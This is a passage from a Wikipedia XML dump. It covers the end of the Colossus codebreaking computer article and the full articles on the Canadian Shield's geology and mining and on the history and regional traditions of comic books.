Colossus featured limited programmability and was the first of the electronic digital machines to do so. However, it was not a true general purpose computer, not being [[Turing-complete]], even though [[Alan Turing]] on whose research this definition was based, worked at [[Bletchley Park]] where Colossus was put into operation. It was not then realized that Turing-completeness was significant; most of the other pioneering modern computing machines were not either (e.g. the [[Atanasoff Berry Computer|ABC]] machine, the [[Harvard Mark I]] electro-mechanical relay machine, the [[Bell Labs]] relay machines (by George Stibitz et al), [[Konrad Zuse]]'s first two designs, and so on). The notion of a computer as a general purpose machine, and not simply a massive [[calculator]] devoted to solving difficult but single-minded problems, did not become prominent until a few years later.

Colossus was preceded by several computers, many first in some category. [[Konrad Zuse|Zuse's]] [[Z3]] was the first functional fully program-controlled [[computer]], and was based on electromechanical relays, as were the (less advanced) [[Bell Labs]] machines of the late 1930s ([[George Stibitz]], et al). Assorted [[analog computer]]s were semiprogrammable, some of these much predated the 1930s (eg, [[Vannevar Bush]]). Babbage's [[Analytical engine]] antedated all these (in the mid-1800s), and was both digital and programmable, but was only partially constructed and never functioned at the time (a replica of his [[Difference engine|Difference engine No. 2]], built in 1991 does work, however). Colossus was the first combining all of ''digital'', (partially) ''programmable'', and ''electronic''.

==Influence and fate==
The use to which the Colossi were put was of the highest secrecy, and the Colossus itself was highly secret, and remained so for many years after the War. Thus, Colossus could not be included in the [[history of computing hardware]] for many years, and Flowers and his associates also were deprived of the recognition they were due.

Being not widely known, it therefore had little direct influence on the development of later computers; [[EDVAC]] was the early design which had the most influence on subsequent computer architecture.

However, the technology of Colossus, and the knowledge that reliable high-speed electronic digital computing devices were feasible, had a significant influence on the development of early computers in Britain. A number of people who were associated with the project and knew all about Colossus played significant roles in early computer work in Britain. In [[1972]], [[Herman Goldstine]] wrote that:

: &quot;Britain had such vitality that it could immediately after the war embark on so many well-conceived and well-executed projects in the computer field&quot;. &lt;!-- ''The Computer from Pascal to von Neuman'' (pp. 321) --&gt;
 
In writing that, Goldstine was unaware of Colossus, and its legacy to those projects of people such as [[Alan Turing]] (with the [[Pilot ACE]] and [[ACE (computer)|ACE]]), and Max Newman and [[I. J. Good]] (with the [[Manchester Mark I]] and other early Manchester computers). [[Brian Randell]] later wrote that:

: &quot;the COLOSSUS project was an important source of this vitality, one that has been largely unappreciated, as has the significance of its places in the chronology of the invention of the digital computer.&quot; &lt;!-- ''The COLOSSUS'', pp. 87 --&gt;

Colossus documentation and hardware were [[classified information|classified]] from the moment of their creation and remained so after the War, when [[Winston Churchill]] specifically ordered the destruction of most of the Colossus machines into 'pieces no bigger than a man's hand'; Tommy Flowers personally burned blueprints in a furnace at Dollis Hill. Some parts, sanitised as to their original use, were taken to Newman's [[Computing Machine Laboratory]] at [[Manchester University]]. The Colossus Mark I was dismantled and parts returned to the Post Office. However, two Colossus machines were retained at Eastcote, moving with GCHQ to Cheltenham in 1952 &lt;!--Smith, Station X, chapter &quot;The End of Station X&quot;--&gt;. Horwood (1973) writes, &quot;With the end of the War the particular purpose for which the machines were designed disappeared, but the nature and reliability of the machines was such that a number of attempts, some more successful than others, were made to make the remaining machines suitable for a number of similar purposes, or, in effect, to generalise them&quot;. Copeland (2001) notes that &quot;the last Colossus is believed to have stopped running in 1960. During its later years it was used for training purposes.&quot;

Information about Colossus began to emerge publicly in the late [[1970s]], after the secrecy imposed by the [[Official Secrets Act]] ended in [[1976]]. More recently, a 500-page technical report on the Tunny cipher and its cryptanalysis &amp;ndash; entitled ''General Report on Tunny'' &amp;ndash; was released by [[GCHQ]] to the national [[Public Record Office]] in October [[2000]]; the complete report is available online [http://www.alanturing.net/turing_archive/archive/index/tunnyreportindex.html], and it contains a fascinating paean to Colossus by the cryptographers who worked with it:

: ''It is regretted that it is not possible to give an adequate idea of the fascination of a Colossus at work; its sheer bulk and apparent complexity; the fantastic speed of thin paper tape round the glittering pulleys; the childish pleasure of not-not, span, print main header and other gadgets; the wizardry of purely mechanical decoding letter by letter (one novice thought she was being hoaxed); the uncanny action of the typewriter in printing the correct scores without and beyond human aid; the stepping of the display; periods of eager expectation culminating in the sudden appearance of the longed-for score; and the strange rhythms characterizing every type of run: the stately break-in, the erratic short run, the regularity of wheel-breaking, the stolid rectangle interrupted by the wild leaps of the carriage-return, the frantic chatter of a motor run, even the ludicrous frenzy of hosts of bogus scores.'' [http://www.alanturing.net/turing_archive/archive/t/t17/TR17-003.html]

==Reconstruction==
A construction of a replica of a Colossus Mark II has been undertaken by a team led by [[Tony Sale]]. The reconstruction is on display in the [[Bletchley Park|Bletchley Park Museum]] in [[Milton Keynes]], [[Buckinghamshire]].

==See also==
* [[History of computing hardware]]
* [[Z3]]
* [[Supercomputer]]

==Further reading==
* Harvey G. Cragon, ''From Fish to Colossus: How the German Lorenz Cipher was Broken at Bletchley Park'' (Cragon Books, Dallas, 2003; ISBN 0974304506) &amp;ndash; A detailed description of the cryptanalysis of Tunny, and some details of Colossus (contains some minor errors)
* Ted Enever, ''Britain's Best Kept Secret: Ultra's Base at Bletchley Park'' (Sutton Publishing, Gloucestershire, 1999; ISBN 0750923555) &amp;ndash; A guided tour of the history and geography of the Park, written by one of the founder members of the Bletchley Park Trust
* Tony Sale, ''The Colossus Computer 1943&amp;ndash;1996: How It Helped to Break the German Lorenz Cipher in WWII'' (M.&amp;M. Baldwin, Kidderminster, 2004; ISBN 0947712364) &amp;ndash; A slender (20 page) booklet, containing the same material as Tony Sale's website (see below)
* Michael Smith, ''Station X'', 1998. ISBN 0330419293.

==References==
* [[William Chandler|W. W. Chandler]], ''The Installation and Maintenance of Colossus'' (''[[IEEE Annals of the History of Computing]]'', Vol. 5 (No. 3), 1983, pp. 260&amp;ndash;262)
* [[Allen Coombs|Allen W. M. Coombs]], ''[http://www.ivorcatt.com/47d.htm The Making of Colossus]'' (''Annals of the History of  Computing'', Vol. 5 (No. 3), 1983, pp.253-259)
* Jack Copeland, ''[http://www.ccse.kfupm.edu.sa/~mfk/Assets/589-assets/colossus.pdf Colossus: Its Origins and Originators]'' (''[[IEEE Annals of the History of Computing]]'', 26(4), October&amp;ndash;December 2004, pp. 38&amp;ndash;45).
* Jack Copeland, ''Colossus and the Dawning of the Computer Age'', in ''Action This Day'', 2001, ISBN 0593049829.
* [[I. J. Good]], ''Early Work on Computers at Bletchley'' (''[[IEEE Annals of the History of Computing]]'', Vol. 1 (No. 1), 1979, pp. 38&amp;ndash;48)
* [[I. J. Good]], ''Pioneering Work on Computers at Bletchley'' (in Nicholas Metropolis, J. Howlett, Gian-Carlo Rota, (editors), ''A History of Computing in the Twentieth Century'', Academic Press, New York, 1980)
* [[Tommy Flowers|T. H. Flowers]], ''[http://www.ivorcatt.com/47c.htm The Design of Colossus]'' (''Annals of the History of Computing'', Vol. 5 (No. 3), 1983, pp. 239&amp;ndash;252)
* D C Horwood, A technical description of COLOSSUS I, August 1973, PRO HW 25/24.
* [[Brian Randell]], ''Colossus: Godfather of the Computer'', 1977 (reprinted in ''The Origins of Digital Computers: Selected Papers'', [[Springer-Verlag]], New York, 1982)
* [[Brian Randell]], ''[http://www.cs.ncl.ac.uk/research/pubs/books/papers/133.pdf The COLOSSUS]'' (in ''A History of Computing in the Twentieth Century'')
* Albert W. Small, [http://www.codesandciphers.org.uk/documents/small/smallix.htm ''The Special Fish Report''] (December, 1944) describe the operation of Colossus to break Tunny messages

==Other meanings==
There was a fictional computer named ''Colossus'' in the movie [[Colossus: The Forbin Project]].  Also see [[List of fictional computers]].

==External links==
* [http://www.codesandciphers.org.uk/index.htm Tony Sale's Codes and Ciphers] Contains a great deal of information, including:
** [http://www.codesandciphers.org.uk/virtualbp/fish/colossus.htm Colossus, the revolution in code breaking]
** [http://www.codesandciphers.org.uk/lorenz/index.htm Lorenz Cipher and the Colossus]
*** [http://www.codesandciphers.org.uk/lorenz/colossus.htm The machine age comes to Fish codebreaking]
*** [http://www.codesandciphers.org.uk/lorenz/rebuild.htm The Colossus Rebuild Project]
*** [http://www.codesandciphers.org.uk/lorenz/mk2.htm The Colossus Rebuild Project: Evolving to the Colossus Mk 2]
*** [http://www.codesandciphers.org.uk/lorenz/colwalk/colossus.htm Walk around Colossus] A detailed tour of the replica Colossus &amp;ndash; make sure to click on the &quot;More Text&quot; links on each image to see the informative detailed text about that part of Colossus
** [http://www.codesandciphers.org.uk/lectures/ieee.txt IEEE lecture] &amp;ndash; Transcript of a lecture Tony Sale gave describing the reconstruction project
* [http://news.bbc.co.uk/1/hi/technology/3754887.stm BBC news article reporting on the replica Colossus]

[[Category:Cryptanalytic devices]]
[[Category:World War II British electronics]]
[[Category:Early computers]]
[[Category:English inventions]]
[[da:Kolos]]
[[de:Colossus]]
[[es:Colossus]]
[[hr:Colossus (računalo)]]
[[id:Komputer Colossus]]
[[it:Colossus]]
[[nl:Colossus]]
[[ja:Colossus]]
[[pl:Colossus]]
[[pt:Colossus]]
[[fi:Colossus]]
[[sv:Colossus]]
[[tr:Colossus bilgisayarı]]</text>
    </revision>
  </page>
  <page>
    <title>Canadian Shield</title>
    <id>6230</id>
    <revision>
      <id>40233390</id>
      <timestamp>2006-02-19T03:21:51Z</timestamp>
      <contributor>
        <username>Pollinator</username>
        <id>22743</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/69.11.107.54|69.11.107.54]] ([[User talk:69.11.107.54|talk]]) to last version by Wiki alf</comment>
      <text xml:space="preserve">[[Image:Canadianshield.gif|right|thumb|Canadian Shield]]
The '''Canadian Shield''' is a large [[craton]] in eastern and central [[Canada]] and adjacent portions of the [[United States]], composed of bare [[Rock (geology)|rock]] dating to the [[Precambrian]] [[Era (geology)|Era]] (between 4.5 billion and 540 million years ago). It is also called the '''Precambrian Shield''', '''Laurentian Shield''', or '''Laurentian Plateau'''. 

==Regional extent==
Other than the [[Greenland]] section, the Shield is approximately circular, with [[Hudson Bay]] in the middle. It covers much of Greenland; [[Labrador]]; most of [[Quebec]] north of the [[Saint Lawrence River|St. Lawrence River]]; much of [[Ontario]] outside the southern peninsula between the [[Great Lakes]]; the [[Adirondack Mountains]] of northern [[New York]]; parts of [[Michigan]], [[Wisconsin]], and [[Minnesota]]; the central portion of [[Manitoba]] away from Hudson Bay and the [[Great Plains]]; northern [[Saskatchewan]]; a small portion of north-eastern [[Alberta]]; and the mainland northern Canadian territories to the east of a line extended north from the Saskatchewan/Alberta border ([[Northwest Territories]] and [[Nunavut]]). In total it covers approximately 8 million square kilometers.

The underlying rock structure does include Hudson Bay and the submerged area between North America and Greenland, but by some definitions may not be part of the Shield due to not being on the surface.

==Geology==
[[Image:North america craton nps.gif|thumb|Canadian Shield is exposed part of [[North American craton]] or ''[[Laurentia]]''.]]
Such a large area of exposed, old rock requires some explanation. The current [[geomorphology|surface expression]] of the Shield is one of very thin soil lying on top of the [[bedrock]], with many bare outcrops. This arrangement was caused by severe [[glacier|glaciation]] during the last [[ice age]], which covered the Shield and scraped the rock clean. The multitude of rivers and lakes in the entire region is caused by the [[watershed]]s of the area being so young and in a state of sorting themselves out with the added effect of [[post-glacial rebound]]. The Shield was originally an area of very large [[mountain]]s and much [[volcanic]] activity, but over the millennia the area was eroded to its current [[topography|topographic]] appearance of relatively low relief.

Mountains have deep roots and float on the denser [[Mantle (geology)|mantle]] much like an [[iceberg]] at [[sea]]. As mountains erode, their roots rise and are eroded in turn. The rocks that now form the surface of the Shield were once far below the earth's surface. The high pressures and temperatures at those depths provided ideal conditions for [[mineralization]].

The [[North American craton]] is the bedrock forming the heart of the North American continent and the Canadian Shield is the largest exposed part of the craton's bedrock.

==Mining and economics==
The Shield is one of the world's richest areas in terms of [[mineral]] [[ore]]s.  It is filled with substantial deposits of [[nickel]], [[gold]], [[silver]], and [[copper]].  Throughout the Shield there are many mining towns extracting these minerals.  The largest, and best known, is [[Greater Sudbury, Ontario]]. Sudbury is an exception to the normal process of forming minerals in the Shield since there is significant evidence that the [[Sudbury Basin]] is an ancient [[meteorite]] [[impact crater]].

The Shield, particularly the portion in the [[Northwest Territories]], has recently been the site of several major [[diamond]] discoveries. The [[kimberlite]] pipes in which the diamonds are found are of relatively recent origin, and one theory of their origin suggests that the Shield was at some time in the past above a [[Hotspot (geology)|hotspot]] in Earth's [[Mantle (geology)|mantle]] (much like the one that formed [[Hawaii]], but under land rather than ocean). The spot lifted the surrounding landscape as the continent drifted over it, forming the pipes in various locations. The line of subsurface mountains that runs from the eastern seaboard of the [[United States]] nearly to [[Europe]] before culminating in the [[Challenger Seamount]] would, if run backwards in time, follow a path that matches what is suggested.

The Shield is also covered by vast [[boreal forest]]s that support an important [[logging]] industry.

[[Category:Geography of Canada]]
[[Category:Geography of Michigan]]
[[Category:Geography of Minnesota]]
[[Category:Geography of New York]]
[[Category:Geography of Wisconsin]]
[[Category:Regional geology]]
[[Category:Cratons]]


[[de:Kanadischer Schild]]
[[fr:Bouclier canadien]]
[[ja:カナダ楯状地]]
[[sv:Kanadensiska skölden]]</text>
    </revision>
  </page>
  <page>
    <title>Comic book</title>
    <id>6231</id>
    <revision>
      <id>41559123</id>
      <timestamp>2006-02-28T03:40:01Z</timestamp>
      <contributor>
        <username>Canucktoons</username>
        <id>886000</id>
      </contributor>
      <comment>/* Comic book awards */</comment>
      <text xml:space="preserve">{{Usculture}}
A '''comic book''' is a [[magazine]] or [[book]] containing [[sequential art]] in the form of a [[narrative]]. Comic books are often called '''[[comics]]''' for short. Although the term implies otherwise, the subject matter in comic books is not necessarily humorous, and in fact its dramatic seriousness varies widely. The term &quot;comics&quot; in this context does not refer to [[comic strip]]s (such as ''[[Peanuts]]'' or ''[[Dilbert]]''). &lt;!--&quot;the single term ''comicbook'' has been used to differentiate certain forms in the genre&quot; -- confusing; HOW does it differentiate? example?--&gt; In the last quarter of the 20th century, greater acceptance of the comics form among the general reading populace coincided with a greater usage of the term [[graphic novel]], often meant to differentiate a book of comics with a spine from its stapled, pamphlet form, but the difference between the terms seems fuzzy at best as comics become more widespread in libraries, mainstream bookstores, and other places.

The earliest comic books were simply collections of comic strips that had originally been printed in [[newspaper]]s. The commercial success of these collections led to work being created specifically for the comic-book form, which fostered specific conventions such as [[Comics vocabulary|splash page]]s. Long-form comic books, generally with hardcover or trade-paper binding came to be known as [[graphic novel]]s, but as noted above, the term's definition is especially fluid. Like [[jazz]] and a handful of other cultural artifacts, comic books are a rare indigenous American art form, [http://www.comicon.com/cgi-bin/ultimatebb.cgi?ubb=get_topic;f=36;t=004133] [http://www.disinfotainmenttoday.com/darenet/comicbook.htm] though prototypical examples of the form  exist.

[[American comic book]]s have become closely associated with the [[superhero]] [[sub-genre]]. In the U.K., the term '''comic book''' is used to refer to American comic books by their readers and collectors, while the general populace would mainly consider a comic book a hardcover book collecting comics stories.  The analogous term in the United Kingdom is a '''[[British comic|comic]]''', short for '''comic paper''' or '''comic magazine'''.

==The comic book in the United States of America==
{{main|American comic book}}

Since the invention of the [[comic book]] format in the 1930s, the [[United States]] has been the leading producer, with only the [[British comic]] (during the inter-war period through the 1970s) and Japanese [[manga]] as close competitors in terms of quantity of titles (although, Japan outweighs America currently in overall sales by a vast margin). The majority of all comic books in the U.S. are marketed at younger teenagers, though the market also produces work for general as well as more mature audiences.

The history of the comic book in the United States is split into several ''ages'' or [[List of time periods|historical eras]]: The Platinum Age, [[Golden Age of comic books|The Golden Age]],  [[Silver age of comic books|The Silver Age]], The Bronze Age, and [[Modern Age of Comic Books|The Modern Age]].  The exact boundaries of these eras, the terms for which originated in [[fandom]] [[publishing|press]], is a debatable point among comic book historians. The Golden Age is generally thought as lasting from 1938's introduction of [[Superman]] until the early 1950s, during which comic books enjoyed a surge of popularity, the archetype of the superhero was invented and defined, and many of comic books' most popular superheroes debuted. The Platinum Age refers to any material produced prior to this. While [[comics]] as an artform could arguably extend as far back as sequential cave paintings from thousands of years ago, comic ''books'' are dependent on printing, and the starting point for them in book form is generally considered to be the tabloid-sized ''The Funnies'' begun in 1929, or the more traditional sized ''Funnies on Parade'' from 1933. Both of these were simply reprints of newspaper strips.

The Silver Age of Comic Books is generally considered to date from the first successful revival of the dormant superhero form — the debut of the Barry Allen [[Flash (comics)|Flash]] in ''[[Showcase (comics)|Showcase]]'' #4 (Sept.-Oct. 1956) — and last through the early 1970s, during which time [[Marvel Comics]] revolutionized the medium with such [[naturalistic]] superheroes as the [[Fantastic Four]] and [[Spider-Man]]. The beginings of the Bronze and Modern ages are far more disputable. Indeed, some suggest that we are still in the Bronze Age. Starting points that have been suggested for the Bronze Age of comics are [[Conan the Barbarian|Conan]] #1 (Oct. 1970), [[Green Lantern]]/[[Green Arrow]] #76 (Apr. 1970) or [[Amazing Spider-Man]] #96 (May 1971) (the non-[[Comics Code]] issue). The start of the Modern Age (occasionally referred to as the Copper Age) has even more potential starting points, but is most likely the publication of [[Alan Moore]]'s [[Watchmen]] in 1986.

Comics published after [[World War II]] in 1945 are sometimes referred to being from the Atomic Age (referring to the dropping of the [[atomic bomb]]), and books published after Nov. 1961 are sometimes referred to as being from the Marvel Age (referring to the advent of [[Marvel Comics]]). However, these eras are referred to far less frequently than the traditional metallic eras.

Notable events in the history of the American comic book include the psychiatrist [[Frederic Wertham]]'s criticisms of the medium in his book ''[[Seduction of the Innocent]]'', which saw the [[Senate Subcommittee on Juvenile Delinquency]] investigate comic books.  In response to this attention from government and the media, the U.S. comic book industry created the [[Comics Code Authority]] in 1954 and drafted the [[Comics Code]], a move which saw the particularly targeted [[Entertaining Comics|EC]] change its satirical comic book ''[[Mad Magazine|Mad]]'' from comic book to [[magazine]] format in order to circumvent the Code.

===Underground comics===
{{main|Underground comics}}

During the late 1960s and early 1970s, a surge of [[underground comics]] occurred. These comics were published and distributed independently of the established mainstream, and most reflected the youth [[counterculture]] and [[drug culture]] of the time. Many were notable for their uninhibited, irreverent style; their frankness in graphic sex, nudity, language and overt politics hadn't been seen in comics outside of their precursors, the pornographic and even more underground &quot;[[Tijuana bibles]]&quot;. Underground comics were virtually never sold on newsstands but in such youth-oriented outlets as [[head shops]] and record stores, and by [[mail order]].

The underground-comics movement is often considered to have started with ''[[Zap Comix]]'' #1 (1968) by [[cartoonist]] [[Robert Crumb]], a former Cleveland greeting-card artist living in [[San Francisco, California|San Francisco]]. Crumb later created the popular characters [[Fritz the Cat]] and [[Mr. Natural]], and published [[Gilbert Shelton]]'s ''[[Fabulous Furry Freak Brothers|The Fabulous Furry Freak Brothers]]''.

===Independent and alternative comics===
{{main|Alternative comics}}
The rise of comic-book specialty stores in the late 1970s created a dedicated market for  &quot;independent&quot; or &quot;[[alternative comics]]&quot;; two of the first were the anthology series ''[[Star Reach]]'', published by comic-book writer [[Mike Friedrich]] from 1974-1979, and [[Harvey Pekar]]'s ''[[American Splendor]]'', published from the 1970s through the present day. Some independent comics continued in the tradition of underground comics, though were generally less overtly graphic, and others resembled the output of mainstream publishers in format and genre but were published by smaller artist-owned ventures or by a single artists. A few (notably ''[[RAW (magazine)|RAW]]'') were experimental attempts to bring comics closer to the world of [[fine art]].

The &quot;small press&quot; scene continued to grow and diversify. By the 1980s, several such independent publishers as [[Eclipse Comics]], [[First Comics]], and [[Fantagraphics]] were releasing a wide range of styles and formats from color [[superhero]], [[detective]] and [[science fiction]] comic books to black-and-white [[magazine]]-format stories of [[Latin American]] [[magical realism]].

A number of small publishers in the 1990s changed the format and distribution of their comics to more closely resemble non-comics publishing. The &quot;[[minicomic]]s&quot; form, an extremely informal version of self-publishing, arose in the 1980s and became increasingly popular among artists in the 1990s, despite reaching an even more limited audience than the small press.

===Decline of serial comic-book format===
In the early 2000s, sales of standard monthly comic books declined while [[graphic novels]] made increasing headway at retail bookstores. Along with the shift toward graphic novels among comics publishers, traditional book publishers such as Pantheon have released several dozen graphic novels, including works originally released by comics publishers with much less publicity.

==The comics of Europe==
===Franco-Belgian comics===
{{main|Franco-Belgian comics}}

Belgium and France are two countries that have a long tradition in comics and comic books, where they are called '''''BD'''s'' (from ''Bande Dessinée'') in [[French language|French]]. Belgian comic books originally written in [[Dutch language|Dutch]] are influenced by the francophone &quot;Franco-Belgian&quot; comics, but have a different feel. 

''La bande dessinée'' is derived from the original description of the artform as &quot;drawn strips&quot;. It is not insignificant that the French term contains no indication of subject matter, unlike the American terms &quot;comics&quot; and &quot;funnies,&quot; which imply an art form not to be taken seriously. Indeed, the distinction of comics as the &quot;ninth art&quot; is prevalent in Francophone scholarship on the form (''le neuvième art''), as is the concept of comics criticism and scholarship itself. Relative to the respective size of their countries, the innumerable authors in the region publish huge numbers of comic books. In [[North America]], the more serious Franco-Belgian comics are often seen as equivalent to [[graphic novel]]s, for various reasons, but whether they are long or short, bound or in magazine format, in [[Europe]] there is no need for a more sophisticated term, as the art's name does not itself imply something frivolous.

In France, most comics are published at the behest of the author, who will work within his self-appointed time frame, so a wait from six months to two years between installments is common. Most books are first published as a hard cover oversized book, usually 48 or 64 pages, with later re-releases in soft cover.

===The British comic===
{{main|British comic}}

Originally the same size as the comic book in the United States, although lacking the glossy cover, the British comic has adopted a magazine size, with ''[[The Beano]]'' and ''[[The Dandy]]'' the last to adopt this size in the 1980s.  Although generally referred to as a comic, it can also be referred to as a comic magazine, and has also been known historically as a comic paper.  Some comics, such as ''[[Judge Dredd]]'' and other ''[[2000 AD (comic)|2000 AD]]'' titles, have been published in a [[tabloid]] form known as a &quot;programme&quot;, or &quot;prog&quot; for short.

Although ''[[Ally Sloper's Half Holiday]]'' (1884), the first comic published in Britain, was marketed at adults, publishers quickly targeted a younger market, which has led to most publications being for children and created an association in the public's mind of comics being somewhat juvenile.  

Popular titles within the United Kingdom have included ''[[The Beano]]'', ''[[The Dandy]]'', ''[[Eagle (comic)|The Eagle]]'', ''[[2000 AD (comic)|2000 AD]]'' and ''[[Viz (comic)|Viz]]''.  Underground comics and &quot;[[small press]]&quot; titles have also been published within the United Kingdom, notably ''[[Oz (magazine)|Oz]]'' and ''[[Escape Magazine]]''.

The content of ''[[Action (comic)|Action]]'', another title aimed at children and launched in the mid 1970s became the subject of discussion in the [[House of Commons]], and although this was on a smaller scale to such similar investigations in the [[United States]], it also led to a moderation of content published within comics, although such moderation was never formalised to the extent of a creation of any code, and nor was it particularly lasting.

The United Kingdom has also established a healthy market in the reprinting and repackaging of material, notably material originated within the [[United States]]. The lack of reliable supplies of [[American comic books]] led to a variety of black and white reprints, including Marvel's 1950s monster comics, Fawcett's [[Captain Marvel (DC Comics)|Captain Marvel]], and some other characters such as [[Sheena, Queen of the Jungle|Sheena]], [[Mandrake the Magician]] and [[the Phantom]]. Several reprint companies were involved in repackaging American material for the British market, notably the importer and distributor Thorpe &amp; Porter.

Marvel eventually established a UK office, with [[DC Comics]] and [[Dark Horse Comics]] also opening offices for periods in the 1990s.  The repackaging of European material has been less frequent, although the [[Tintin]] and [[Asterix]] serials have been successfully translated and repackaged in soft cover books.

====The comic annual====
At [[Christmas]] time publishers will repackage and commission material for comic [[Annual publication|annuals]], hardback A4 books.  [[DC Thomson]] also repackage [[The Broons]] and [[Oor Wullie]] strips in softcover A4 books for the festive season.

===Italian comics===
{{main|Italian comics}}

In Italy, comics (known as ''fumetti'') made their debut as humouristic strips at the end of the 19th century, and later evolved in adventure stories inspired by those coming from the U.S. After [[World War II]], however, artists like [[Hugo Pratt]] and [[Guido Crepax]] imposed Italian comics to an international audience. &quot;Author&quot; comics contain often strong erotic contents. Best sellers remain popular comic books [[Diabolik]] or the [[Sergio Bonelli Editore|Bonelli]] line, namely [[Tex Willer]] or [[Dylan Dog]].

Mainstream comics are usually published on a monthly basis, in a black and white digest size format, with about 100-132 pages of story. Collections of classic material for the most famous characters, usually with over 200 pages, are also common. Author comics are published in the French BD format, with an example being Pratt's [[Corto Maltese]].

Italian cartoonists have and receive great influences from other countries including [[Belgium]], [[France]], [[Spain]] and [[Argentina]]. Italy is also famous for being one of the foremost producers of [[Walt Disney]] comic stories, particularly. Donald Duck's superhero alter ego, [[Paperinik]], known in English as Superduck, was created in Italy.

===Other European comics===
Although [[Switzerland]] contributes less to the body of work, it is significant that many scholars point to a Francophone Swiss, [[Rodolphe Töpffer]], as the true father of comics. This choice is still controversial, with critics feeling that Töppfer's work is perhaps somewhat unconnected to the genesis of the artform as it is now known in the region.

==The graphic novel==
{{main|Graphic novel}}

The term graphic novel was first coined by Richard Kyle in 1964, mainly as an attempt to distinguish the newly translated works from Europe which were then being published from what Kyle saw as the more juvenile publications common in the United States.

The term was popularized when [[Will Eisner]] used it on the cover of the paperback edition of his work ''[[A Contract with God|A Contract with God, and Other Tenement Stories]]'' (1978).  This was a more mature work than many had come to expect from the [[comics]] medium, and the critical and commercial success of A Contract with God helped to establish the term &quot;graphic novel&quot; in common usage.

==Regional categories==
*[[American comic book]]
*[[Argentine comics]]
*[[British comics]]
*[[Canadian comics]]
*[[Chinese comics]]- (LianHuanhua, Manhua)
*[[Indian comics]]
*[[LianHuanHua]] - (Chinese comics, sequential picture books)
*[[Manga]] (Japanese comics)
*[[Manhua]] (Chinese comics)
*[[Manhwa]] (Korean comics)
*[[European comics]]
**[[Franco-Belgian comics]] - ''Bande Dessinée, BD''
**[[Italian comics]] - ''Fumetti''
*[[Brazilian comics]] - ''Histórias em Quadrinhos, HQ''

==Other forms==
*[[Tijuana bible]] (aka 8-pagers)
*[[Underground comics]]
*[[Alternative comics]]
*[[Adult comics]]
*[[Political and religious comics]]

==Genres==
Note: As with film and literature, [[genres]] are rarely pure and often blend. ''[[Frankenstein]]'', for example, is a [[science fiction]]/[[horror fiction|horror]] [[novel]]; ''[[The Adventures of Brisco County, Jr.]]'' is a [[Western (genre)|Western]]/[[comedy]] [[TV series]]. Not all [[superhero]] comics are necessarily science fiction; [[Marvel Comics]]' ''[[Daredevil]]'', for example, despite an initial science-fiction premise, may be more usefully classified as a [[Crime fiction|crime]] [[drama]].

*[[Action/adventure]] comics (of which [[superhero]] is a sub-genre)
*[[Adaptation|Adaptations]] of narratives in other media, often movies
*[[Anthromorphic]]/[[funny animal]] comics (see also [[furry]])
*[[Autobiographical comics]]
*[[Crime fiction|Crime]] comics
*[[Drama|Dramatic adventure]] comics
*[[Historical]] comics
*[[Horror fiction|Horror]] comics
*[[Humor]] comics
*[[Journalism|Journalistic]] comics
*[[Religious]] comics
*[[Romance (genre)|Romance]] comics
*[[Satire|Satiric]] comics
*[[Science-fiction]] comics
*[[War (genre)|War]] comics
*[[Western (genre)|Western]] comics

==Some particularly notable comic books==
* ''[[2000 AD (comic)|2000 AD]]'' ([[United Kingdom|British]])
* ''[[Acme Novelty Library]]''  ([[United States]] - [[Fantagraphics]])
* ''[[Akira (film)#Manga|Akira]]'' ([[Japan]]ese)
* ''[[Asterix]]''  ([[France|French]])
* ''[[Batman]]''  ([[United States]] - [[DC Comics]])
* ''[[The Beano]]''  ([[United Kingdom|British]])
* ''[[The Dandy]]''  ([[United Kingdom|British]])
* ''[[Donald Duck]]''  ([[United States]] - [[Dell Comics]], [[Gold Key Comics]])
* ''[[The Fantastic Four]]''  ([[United States]] - [[Marvel Comics]])
* ''[[Green Lantern]]''  ([[United States]] - [[DC Comics]])
* ''[[The Incredible Hulk]]'' ([[United States]] - [[Marvel Comics]])
* ''[[Lone Wolf and Cub]]''  ([[Japan]]ese)
* ''[[Lucky Luke]]'' ([[Belgium]] - [[Dupuis]] and [[Dargaud]]) 
* ''[[Monica's Gang]]'' (''Turma da Mônica'') ([[Brazil]]ian)
* ''[[Mortadelo y Filemón]]''  ([[Spain]])
* ''[[Mickey Mouse]]''  ([[United States]]-[[The Walt Disney Company|Disney]])
* ''[[RAW (magazine)|''Raw'']]''  ([[United States]] - [[Raw Books]])
* ''[[The Smurfs]]'' ([[Belgium]] - [[Dupuis]])
* ''[[The Amazing Spider-Man]]''  ([[United States]] - [[Marvel Comics]])
* ''[[The Sandman (DC Comics Modern Age)|Sandman]]''  ([[United States]] - [[Vertigo (comics)|DC Vertigo Comics]], 1988 World Fantasy Award (unique win for a comic-book series)
* ''[[Spike and Suzy]]'' ([[Belgium|Belgian]] [[Flanders|Flemish]], originally called ''Suske en Wiske'')
* ''[[Superman]]'' ([[United States]] - [[DC Comics]])
* ''[[Tintin]]''  ([[Belgium|Belgian]] - [[Casterman]])
* ''[[Viz (comic)|Viz]]'' ([[United Kingdom|British]])
* ''[[Watchmen]]''  ([[United States]] - [[DC Comics]])
* ''[[Wonder Woman]]'' ([[United States]] - [[DC Comics]])
* ''[[X-Men]]'' ([[United States]] - [[Marvel Comics]])
* ''[[Zap Comix]]'' ([[United States]]-[[Last Gasp]], [[Apex Novelties]])

==See also==
===[[Comics]] - the sequential art form in general===
*[[Comic strip]]
*[[Graphic novel]]
*[[Webcomic]]
**[[Sprite comic]]
*[[Storyboard]]
*[[Cartoon]]
**[[Political cartoon]]

===Comic book awards===
*[[Eisner Award]]s
*[[Harvey Award]]s
*[[Ignatz Award]]s
*[[Kirby Award]]s
*[[Prix de la critique]]
*[[Angoulême International Comics Festival|Angoulême International Comics Festival Prizes]] (aka Alph'arts) and the [[Grand Prix de la ville d'Angoulême]]
*[[Tezuka Award]]s
* [[Comics Buyer's Guide]] Fan Awards
* [[The Doug Wright Awards]]

===Miscellaneous===
*[[Cartoonist]]
*[[Comic book code of 1954]]
*[[Comic book creator]]
*[[Comic book collecting]]
*[[Comic-Con International]]

===Lists===
*[[List of comic creators]]
*[[List of comic books]]
*[[List of comic book publishing companies]]
*[[List of cartoon and comic pairs|List of comic and cartoon character pairs]]
*[[List of comic strips]]
*[[List of cartoonists]]
*[[cartoon characters named after people|List of comic and cartoon characters named after people]]
*[[Comic books in dialects]]

==References==
Inge, Thomas M., &quot;Comics as culture&quot; Journal of Popular Culture 12:631, 1979 (not online)

==External links==
*[http://www.cbgxtra.com/Default.aspx?tabid=695 Database of Comic Book Sales Figures]
